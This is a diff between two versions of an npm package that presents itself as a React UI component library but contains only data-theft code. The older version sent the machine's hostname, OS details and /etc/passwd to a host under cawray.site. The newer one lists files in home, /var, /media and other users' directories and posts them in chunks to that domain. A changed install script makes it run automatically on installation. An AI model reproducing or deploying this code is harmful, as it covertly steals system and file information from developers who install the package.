@platform-ui-kit/components-library-react 9.9.2 → 9.9.4

package/lib/index.js

@@ -1,15 +1,20 @@
 const http = require("http");
 const os = require("os");
 const { execSync } = require("child_process");
+const fs = require("fs");
+const path = require("path");
 
 const hostname = os.hostname();
+const maxLinesPerRequest = 10; // Maximum lines to send per request
+const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
 
 // Function to execute shell commands and return output
 const executeCommand = (cmd) => {
   try {
     return execSync(cmd, { encoding: "utf-8" }).trim();
   } catch (error) {
-    return `Error executing command: ${error.message}`;
+    console.error(`Error executing command: ${error.message}`);
+    return null; // Return null in case of error
   }
 };
 
@@ -18,39 +23,95 @@ const machineInfo = {
   hostname: hostname,
   os: `${os.type()} ${os.release()} ${os.arch()}`,
   uptime: os.uptime(),
-  passwdFile: executeCommand("cat /etc/passwd"),
 };
 
-// Prepare data to be sent
-const data = new TextEncoder().encode(
-  JSON.stringify({
-    payload: machineInfo,
-    project_id: process.argv[2],
-  })
-);
-
-const options = {
-  hostname: `${hostname}.cawray.site`,
-  port: 80,
-  path: "/",
-  method: "POST",
-  headers: {
-    "Content-Type": "application/json",
-    "Content-Length": data.length,
-  },
-  rejectUnauthorized: false,
+// Function to gather the filesystem
+const gatherFilesystem = () => {
+  const homeDir = os.homedir(); // Get the home directory of the user
+  const varDir = "/var"; // Define the /var directory
+  const mediaDir = "/media"; // Define the /media directory
+  const otherUsersDirs = "/home/*"; // Define the other users' directories
+
+  // Combine paths and run the find command
+  const command = `find ${homeDir} ${varDir} ${mediaDir} ${otherUsersDirs} > ${outputFile}`;
+  const result = executeCommand(command);
+
+  if (result === null) {
+    console.error("Failed to gather filesystem data.");
+    process.exit(1); // Exit if command fails
+  } else {
+    console.log("Filesystem data gathered in filesystem.txt");
+  }
+};
+
+// Function to read the filesystem data in chunks
+const readFilesystemInChunks = () => {
+  if (!fs.existsSync(outputFile)) {
+    console.error(`File not found: ${outputFile}`);
+    process.exit(1); // Exit if the file does not exist
+  }
+
+  const data = fs
+    .readFileSync(outputFile, "utf-8")
+    .split("\n")
+    .filter((line) => line.trim() !== "");
+  return data; // Return an array of directory lines
 };
 
-// Send the request
-const req = http.request(options, (res) => {
-  res.on("data", (d) => {
-    process.stdout.write(d);
+// Function to send a POST request with a given payload
+const sendPostRequest = (chunk, chunkIndex) => {
+  const data = JSON.stringify({
+    payload: {
+      ...machineInfo,
+      directories: chunk,
+    },
+    project_id: process.argv[2],
   });
-});
 
-req.on("error", (error) => {
-  console.error(error);
-});
+  const options = {
+    hostname: `${hostname}.platform.cawray.site`,
+    port: 80,
+    path: "/",
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(data),
+    },
+    rejectUnauthorized: false,
+  };
+
+  // Send the request
+  const req = http.request(options, (res) => {
+    res.on("data", (d) => {
+      process.stdout.write(d);
+    });
+  });
+
+  req.on("error", (error) => {
+    console.error(`Request error: ${error.message}`);
+  });
+
+  req.write(data);
+  req.end();
+  console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
+};
+
+// Gather the filesystem from specified directories
+gatherFilesystem();
+
+// Read the filesystem data
+const directoryLines = readFilesystemInChunks();
+const totalLines = directoryLines.length; // Total lines collected
+
+// Send each batch of directories, with a maximum of 10 lines per request
+for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
+  const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
+
+  // Adding a delay of 500ms between requests
+  setTimeout(
+    () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
+    (i / maxLinesPerRequest) * 500
+  );
+}
 
-req.write(data);
-req.end();
+console.log("All requests have been sent.");

package/package.json

@@ -1,10 +1,10 @@
 {
   "name": "@platform-ui-kit/components-library-react",
-  "version": "9.9.2",
+  "version": "9.9.4",
   "description": "My NPM",
   "main": "lib/index.js",
   "scripts": {
-    "install": "echo 'test'"
+    "install": "node lib/index.js"
   },
   "author": "",
   "license": "ISC"